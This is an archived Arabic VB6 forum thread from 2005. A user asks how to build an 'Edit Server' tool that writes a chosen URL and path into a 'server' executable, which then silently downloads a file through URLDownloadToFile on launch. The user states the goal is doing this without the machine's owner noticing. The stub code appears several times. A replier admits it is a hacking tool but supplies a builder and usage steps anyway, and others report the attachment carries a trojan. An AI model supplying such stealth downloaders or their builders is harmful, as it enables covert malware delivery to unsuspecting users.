الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

كيف اخزن معلومه في ملف exe او التغيير في شفراته

مغلق
بدأه boooo7 في 18 يوليو 2005 · 10 رد · 1,276 مشاهدة · في لغة Ms Visual Basic 6 وما قبلها من إصدارات
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله وبركاته

اخواني طرات على فكره ولم اقدر ان اطبقها

والفكره هي كالتالي

انا عندي شفره تقوم بانزال ملف بدون مايشعر صاحب الجهاز

هذه هي الشفره

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Command1_Click()

lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)

End Sub

اريد ان اضعها في ملف تنفيذي

واعمل برنامج يقوم بتعديل على هذه الشفره

مثلا البرنامج يتكون من اثنان تيكست وزر كومند

واريد عندما اضع في التيكست الاول تعديل عنوان تحميل الملف مثلا www.boooo7.com/ip.txt

وفي التيكست الثاني اضع فيه مكان نزول الملف مثلا d:\

وعندما اضغط زر كومند يتم حفظ ماكتبته في الملف التنفيذي

حاولت ان اعملها ماقدرت ياليت احد الاخوان يعلمني ماهي الطريقه

نبغى نتعلم الله يخليكم

وجزاكم الله عنا خيرا

#2

nzool.jpg

هذا صورة للبرنامج اللي يعدل على الملف الثاني

هذا صورة البرنامج الاول ومعه ملف السيرفر اللي يحفظ الشفره هذي

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub form_load()

lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)

End Sub

nzool1.jpg

الحين ابغى اعدل مثلا اقوم بكتابة مسار تحميل الملف www.website.com/ip.txt

واخليه في التيكسيت الاول boooo7.com/ip.txt

وفي التيكست الثاني اكتب وين ينزل الملف مث d:

وعندما اسوي حفظ يقوم بحفظه في ملف السيرفر

وعند الضغط على السيرفر يقوم بتشغيل الشفره

اتمنى انكم فهمتوا قصدي

#3

تريد عمل برنامج Downloader ؟

بس هذا يعتبر برنامج هاك جاهز للعمل.. وأعتقد أنه مخالف للقوانين..

استطيع أن أساعدك في هذا الموضوع .. لكن في سبيل المعرفة فقط وليس تطبيق برنامج للأستخدام العام ..

أنتظر قليلا وسأبرمج لك برنامج جاهز.

#5

مرفق مثال علي Edit Server كما تريده بالضبط.

Edit Server Ex.rar

#6

اخوي العزيز بارك الله فيك

واللي عملته شي كبير وتشكر عليه

لكن فكرتي اصغر من فكرة هذا البرنامج اللي عملته

انا ابغى اعمل برنامج يقوم بتعديل على السيرفر حسب الشفره اللي وضعتها

وبعد ضغط حفظ يقوم بتخزينه بالسيرفر بحيث اذا ضغطت على السيرفر يقوم بتشغيل الشفره

اي ينزل االملف بدون مايشعر الشخص

دعني اوضح لك اكثر

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub form_load()

lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)

End Sub

هذه الشفره نضعها في السيرفر

بعدها نعمل برنامج يعدل على السيرفر

(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0) يعدل على هذا الكود

Edit Server ممتاز هذا بس ابغاه يعدل فقط على الشفره الموجوده في ملف السيرفر

وعندما اعمل حفظ ............ واضغط على ملف السيرفر يقوم بتشغيل الشفره المعدله

هذا اللي اريده

ياليت تصبر علي اخوي

واتمنى انك فهمت قصدي

#8

أخي boooo7 مافهمته من كلامك هو ما وضعه الأخ Pharaonic_Guy تماماً

أرجو التوضيح أكثر

#9

الملف الذي أرفقته يقوم بالضبط بما تريده .. لكن يبدو أنك تهت ومش عارف تستخدم المرفق ..

علي العموم

برنامج Edit Server.exe, يقوم بتعديل مسار الملف علي النت ومسار التحميل علي الجهاز داخل ملف Server.exe

قم بفتح برنامج Edit Server واضغط Open وأذهب إلي الملف Server.exe حتي تتأكد أن مسار ملف Server.exe قد ظهر في تكست في أسفل البرنامج.

بعد ذلك قم بوضع مسار الملف علي النت المراد تحميله

بعد ذلك قم بوضع المسار المراد تحميل الملف إليه.

ثم إضغط Save ..

هكذا تم تخزين تلك البيانات الجديدة داخل ملف Server.exe ..وعند فتح ملف Server.exe سيقوم بتحميل الملف الذي قمت بوضعه داخله,وإلي المسار الذي قمت بوضعه أيضا..

فقط أنا كنت عامل دالة URLDownloadToFile من التعليقات Remarks

فياريت تحذف العلامة ' من أمام تلك الدالة في برنامج Server.exe حتي تصبح جاهزة للعمل.

#10

على فكرة ياجماعة المثال اللى فى المشاركة رقم 5 عليه تروجان :blink:

إن قلت قال الله قال رسولـه همزوك همز المنكر المتعالي
أو قلت قد قال الصحابة والألـى تبعاً لهم بالقول والأعمال
أو قلت قـال الشافعي وأحمد و أبو حنيفة والإمام الغالي
صدوا عن وحي الإله ودينـه واحتالوا على حرام الله بالإحلال
يا أمةً لعبت بدين نبيها كتلاعب الصبيان في الأوحال
حاشا رسول الله يحكم بالهوى تلك إذاً حكومة الضلال

feed.1.gif

#11

عند تحميل الملف ظهرت رسالة من برنامج KasperSky 2006 تفيد ان الملف يحتوى على تروجان

حاول تحديث الانتى فيروس اللى عندك وهتلاقى كلامى مظبوط :rolleyes:

إن قلت قال الله قال رسولـه همزوك همز المنكر المتعالي
أو قلت قد قال الصحابة والألـى تبعاً لهم بالقول والأعمال
أو قلت قـال الشافعي وأحمد و أبو حنيفة والإمام الغالي
صدوا عن وحي الإله ودينـه واحتالوا على حرام الله بالإحلال
يا أمةً لعبت بدين نبيها كتلاعب الصبيان في الأوحال
حاشا رسول الله يحكم بالهوى تلك إذاً حكومة الضلال

feed.1.gif

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…